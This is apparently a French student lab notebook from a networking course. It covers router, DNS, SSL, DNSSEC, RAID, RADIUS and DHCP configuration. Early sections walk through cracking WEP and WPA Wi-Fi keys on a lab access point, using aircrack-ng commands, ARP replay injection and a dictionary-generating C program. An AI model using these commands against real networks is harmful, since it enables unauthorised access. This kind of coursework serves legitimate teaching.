Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13 
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :
<pre> airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 </pre> 
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.
<pre> aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 </pre>
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : <pre>aircarck-ng out_ox.cap</pre> avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées.

On a alors réussi notre craquage au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[00:00:01] Tested 785 keys (got 1349085 IVs)

KB depth byte(vote)
0 0/ 2 EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520)
1 1/ 4 DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728)
2 47/ 2 DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480)
3 1/ 2 26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520)
4 4/ 4 F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840)

KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ]
Decrypted correctly: 100%
</pre>

====Travail réalisé la 6e séance (additionnel) ====
=====Configuration HSRP=====
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP. 
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit: 
<pre>Sstandby 1 ip 10.60.X.3
standby 1 preempt
standby 1 priority 100</pre>

Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby ! 
<pre>BDI2 - Group 1 (version 2)
State is Standby
7 state changes, last state change 00:01:16
Virtual IP address is 10.60.2.3
Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)
Local virtual MAC address is 0000.0c9f.f001 (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 0.128 secs
Preemption enabled
Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)
MAC address is d4d7.4842.53c1
Standby router is local
Priority 100 (default 100)
Group name is "Vlan2" (cfgd)</pre>
=====Craquage clé WPA =====

Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.
Pour le craquage WPA, il nous faut 2 éléments : 
- Un fichier d'échange contenant le handshake 
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.

Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :
<pre> airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55 wlan0 </pre>

Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake.

En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C.

<pre>
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE *fp=fopen("dico.txt","w+");
int i =0;
for(i=0;i<=99999999;i++){
fprintf(fp,"%08d\n",i);
}
return 0;
}
</pre>

Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :
<pre> aircrack-ng -w dico.txt dump-02.cap </pre>
On obtient avec succès au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[01:01:47] 12399904 keys tested (3519.77 k/s)

KEY FOUND! [ 12399907 ]

Master Key : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD
D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23

Transient Key : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47
7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B
2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A
07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8

EAPOL HMAC : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9
</pre>
=====Configuration DNS=====
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space 
Ensuite, nous installons les paquets bind9, ainsi que apache2. 
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone) 
Voici la configuration de ces 2 fichiers : 
named.conf.local : 
<pre>zone "speedflash.space" {
type master;
file "/etc/bind/db.speedflash.space";
allow-transfer {217.70.177.40;};
};</pre>
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave. 
db.speedflash.space: 
<pre>;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.speedflash.space. root.speedflash.space (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.speedflash.space.
ns IN A 193.48.57.165
www IN A 193.48.57.165
</pre>
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM. 
Ensuite, pour faire fonctionner le tout, on relance bind : <pre> service bind9 restart </pre> 
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur : 
<pre>tail /var/log/daemon.log | grep named
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: all zones loaded
Nov 17 11:52:37 Flash named[1798]: running</pre>

=====Securisation de site par SSL=====
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande : 
<pre>openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr</pre>
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL : 
<pre>root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem</pre>
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat. 
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat : 
<pre>
root@Flash:/etc/bind# c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
speedflash.space.crt => ac112f31.0
speedflash.space.crt => a88e5e47.0
GandiStandardSSLCA.pem => 0cad7ee9.0
GandiStandardSSLCA.pem => 3a57595e.0
ssl-cert-snakeoil.pem => 816e77e4.0
ssl-cert-snakeoil.pem => de4674a3.0</pre>
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : 
<pre>#NameVirtualHost *:443
<VirtualHost 193.48.57.165:443>
ServerName www.speedflash.space
ServerAlias speedflash.space
DocumentRoot /var/www/www.speedflash.space/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/speedflash.space.crt
SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem
SSLVerifyClient None
</VirtualHost>
<Directory /var/www/www.speedflash.space>
Require all granted
</Directory>
ServerName "speedflash.space"</pre>
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL): 
<pre>Listen 80 443

<IfModule ssl_module>
Listen 443
</IfModule>

#<IfModule mod_gnutls.c>
# Listen 443
#</IfModule>

#<IfModule mod_ssl.c>
# Listen 443
#NameVirtualHost *:443
#</IfModule></pre>
Il faut activer le module SSL de Apache : <pre> a2enmod ssl</pre> 
Nous pouvons donc activer notre Apache avec notre certificat : 
<pre>root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf
Enabling site 000-speedflash.space-ssl.
root@Flash:/etc/bind# service apache2 reload</pre>
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert. 
[[Fichier:SSLSite.png]]

=====Securisation de DNS par DNSSEC=====
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements. 
<pre> dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space </pre>
<pre> dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space </pre>
l'option -r /dev/urandom est ici pour accélérer la génération des clés 
Nous incluons les clés dans le fichier de zone db.speedflash.space : 
<pre>$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key</pre>
On signe donc la zone : 
<pre>root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.speedflash.space.signed</pre>
On ajoute le DNSSEC à Gandi : 
[[Fichier:Dns-gandi.png]] 
On vérifie que notre DNS est bien sécurisé en essayant la commande : 
<pre>root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY speedflash.space @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;speedflash.space. IN DNSKEY

;; ANSWER SECTION:
speedflash.space. 604800 IN DNSKEY 257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=
speedflash.space. 604800 IN DNSKEY 256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3</pre>
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé. 
====Travail réalisé la 7e séance====
=====Création du RAID5=====
On ajoute premièrement les partitions à la définition de la machine virtuelle: 
<pre>'phy:/dev/virtual/RedFlash,xvdb,w',
'phy:/dev/virtual/BlackFlash,xvdc,w',
'phy:/dev/virtual/ReverseFlash,xvdd,w'</pre>
Ensuite, on crée le RAID5 avec les 3 partitions : 
<pre>mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd</pre>
On vérifie en regardant le fichier de log /proc/mdstat : 
<pre>root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[=============>.......] recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===============>.....] recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[================>....] recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[=================>...] recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[==================>..] recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec

unused devices: <none>
root@Flash:~# [ 1462.872022] md: md0: recovery done.
cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]</pre>
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: 
<pre>root@Flash:~# mkfs /dev/md0
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 523776 4k blocks and 131072 inodes
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912

Allocating group tables: done
Writing inode tables: done
Writing superblocks and filesystem accounting information: done

root@Flash:~# mount /dev/md0 /mnt
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)
</pre>

=====Cryptage de données=====
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted. 
Ensuite, on commence le cryptage des données sur la carte SD: 
<pre>root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1

WARNING!
========
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.

Are you sure? (Type uppercase yes): YES
Saisissez la phrase secrète : ***************
Vérifiez la phrase secrète : ***************</pre>

Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ : 
<pre>root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home
Saisissez la phrase secrète pour /dev/mmcblk1p1 :
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home
mke2fs 1.42.12 (29-Aug-2014)
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879
Superblocs de secours stockés sur les blocs :
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocation des tables de groupe : complété
Écriture des tables d'i-noeuds : complété
Création du journal (32768 blocs) : complété
Écriture des superblocs et de l'information de comptabilité du système de
fichiers : complété</pre>
On monte la partition : 
<pre>root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/</pre>
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: 
<pre>
root@Rason:/# umount /mnt
root@Rason:/# cryptsetup luksClose home</pre>
====Travail réalisé la 8e séance====
=====Modification routeur pour prise en charge Wifi=====
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. 
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN. 
=====Sécurisation Wifi par WPA-EAP=====
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM. 
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : 
<pre> flash Cleartext-Password:="reverse"</pre>
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 : 
<pre> client E306 {
ipaddr = 10.60.1.2
secret = password
}</pre>
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : 
<pre>aaa authentication login eap_flash group radius_flash
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc
aaa group server radius radius_flash
server 193.48.57.165 auth-port 1812 acct-port 1813

dot11 ssid SSID_FLASH
vlan 6
authentication open eap eap_flash
authentication network-eap eap_flash
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 6 mode ciphers aes-ccm tkip
ssid SSID_FLASH

interface Dot11Radio0.6
encapsulation dot1Q 6
no ip route-cache
bridge-group 6
bridge-group 6 subscriber-loop-control
bridge-group 6 spanning-disabled
bridge-group 6 block-unknown-source
no bridge-group 6 source-learning
no bridge-group 6 unicast-flooding

interface GigabitEthernet0.6
encapsulation dot1Q 6
bridge-group 6
</pre>

Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN : 
<pre>auto wlan0
iface wlan0 inet static
address 10.60.6.6
netmask 255.255.255.0
gateway 10.60.6.1
wpa-ssid SSID_FLASH
wpa-key-mgmt WPA-EAP
wpa-identity flash
wpa-password reverse</pre>
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. 
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle . 
<pre>root@Flash:~# ping 10.60.6.6
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms</pre> 
====Travail réalisé la 9e séance====
=====Serveur DHCP=====
Nous avons installé le paquet '''isc-dhcp-server'''. 
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''': 
<pre>option domain-name "speedflash.space";
option domain-name-servers 193.48.57.165;

subnet 10.60.6.0 netmask 255.255.255.0 {
range 10.60.6.10 10.60.6.40;
option routers 10.60.6.1;
}
</pre>

Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''. 
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : 
[[Fichier:DHCP iphone.png || center || 350px]] 
et nous arrivons à la pinger depuis la machine virtuelle. 
<pre>root@Flash:~# ping 10.60.6.10
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms
</pre>

=====PCBX=====
Nous avons modifiés le fichier sip.conf : 
<pre>[general]
hasvoicemail=yes
hassip=yes
hasiax=yes
callwaiting=yes
threewaycalling=yes
callwaitingcallerid=yes
transfer=yes
canpark=yes
cancallforward=yes
callreturn=yes
callgroup=1
pickupgroup=1
nat=yes

[6001]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=ThomasStephane
username=trojSmaia
secret=secret
context=work</pre>

Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX: 
<pre>[work]
exten=>_6XXX,1,Dial(SIP/${EXTEN},20)
exten => _6XXX,2,Hangup()</pre>
Nous n'avons pas encore testé cette solution.

Cahier 2016 groupe n°5

2016-12-14T09:51:23Z

Smaia : /* Répartition du travail */

== Cahier des charges ==
=== Présentation du travail ===

==== Répartition du travail ====

{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (03/10)
| Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau.
|-
! scope="row" | Séance 2 (10/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 3 (13/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 4 (24/10)
| Test de la configuration locale
|-
! scope="row" | Séance 5 (07/11)
| Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP
|-
! scope="row" | Séance 6 (17/11 - additionnel)
| Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM
|-
! scope="row" | Séance 7 (28/11)
| RAID5 - Cryptage de données
|-
! scope="row" | Séance 8 (additionnel - 7-8/12/2016)
| Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP
|-
! scope="row" | Séance 9 (12/12)
| Configuration DHCP - PCBX
| -
! scope="row" | Séance additionnelle (14/12/2016)
| Configuration PCBX
|-
|}

====Travail réalisé la 1ère séance ====

Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :
<pre>
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
</pre>
Ainsi, nous obtenons ce résultat:
<pre>
Installation Summary
---------------------
Hostname : Flash
Distribution : jessie
MAC Address : 00:16:3E:49:8F:E5
IP Address(es) : 193.48.57.165
RSA Fingerprint : 5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db
Root Password : N/A
</pre>

==== Travail réalisé la 2e et 3e séance (2 séances) ====
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). 
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser. 
=====Configuration générale=====
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''. 
Lors de sa première mise en route, nous devons effectuer sa configuration générale : 
<pre> hostname cisco config hostname
enable secret reverse </pre>
Puis ensuite, nous pouvons passer à la configuration des VALNs.
=====Configuration des VLANs =====
Nous avons 12 VLANs à configurer : 
<ul>
<li> 11 VLANs (2-11) : VLAN correspondant aux différents groupes.</li>
<li> 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs</li>
<li> 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école</li></ul>
Sur l'interface physique du 4331, il y a 3 interfaces:
<ul>
<li> Gi 0/0/0 : disponible en cuivre et en fibre</li>
<li> Gi 0/0/1: disponible en cuivre</li>
<li> Gi 0/0/2: disponible en fibre</li></ul>

Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain. 
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2''' 

Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir. 
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:
<pre> interface GigabitEthernet 0/0/0.X </pre>
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :
<pre> int gi 0/0/0
service instance <n°VLAN> ethernet </pre>
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0. 
Nous pouvons alors créer nous sous interfaces:
<pre> int gi0/0/0
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2

service instance 3 ethernet
encapsulation dot1q 3
bridge-domain 3
...</pre>
<pre> int gi0/0/1
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2
...</pre>
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain. 

=====Configuration des bridge-domain=====
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain: 
<pre> bridge irb </pre>
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées : 
<pre> bridge 2 protocol ieee
bridge 2 route ip</pre>
Enfin, nous pouvons allouer des IP aux différents bridge domain : 
<pre>int BDI2
ip address 10.60.2.1 255.255.255.0</pre>

Et nous répétons ces opérations pour tous les bridge-domain. 
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.

====Travail réalisé la 4e séance====
=====Test 1=====
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. 
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc. 
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''. 
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: 
<pre># PCI device 0x14e4:0x1657 (tg3)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:40", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth4"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:41", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth5"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:42", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth6"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:43", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth7"</pre>
 
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe. 
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk. 
'''Premier essai: FAIL''' 
=====Test 2=====
Et là, c'est le drame ... On ne ping rien ... 
On se demande donc d'où cela peut venir. 
======Première cause possible : La configuration de CORDOUAN======
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande: 
<pre>cdpr -d eth4
cdpr - Cisco Discovery Protocol Reporter
Version 2.4
Copyright (c) 2002-2010 - MonkeyMental.com

Using Device: eth4
Warning opening device (eth4: no IPv4 address assigned)
